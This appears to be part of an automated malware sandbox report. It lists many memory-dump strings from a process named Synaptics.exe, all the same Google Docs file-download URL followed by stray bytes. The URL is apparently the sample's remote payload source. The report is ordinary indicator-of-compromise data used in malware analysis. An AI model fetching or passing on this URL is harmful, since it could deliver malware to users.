Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?.
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?3
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?q7
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA:m
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAN
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAtQ
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB2
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB=n
Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC9o
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC:
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC=
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCl
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCr/
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD/
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDei
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenetleniyor...
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenetw
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDeskt
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDvl
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE:A
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEU
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF;j
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFA
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFC
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFL
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFO
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFp
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG.
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG3
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054D4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH9d
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH=
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHG
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHl
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadII
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIT
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIwi
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000053E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ=
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJj
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJsj
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK8g
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKL.
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKM
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL3
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLLk
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLqd
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM(
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMC
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMW
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMm
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN:b
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNEBFQ
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNN)
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNtf
Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO=c
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOL
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP=6
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPH
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPPKBo0
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPS
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPs
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ8
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQF
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQL
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQM3
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQU
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQq
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRk
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRvB
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSFPU
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSecur
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSrC
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT:X
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTN
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTt
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU=Y
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUS
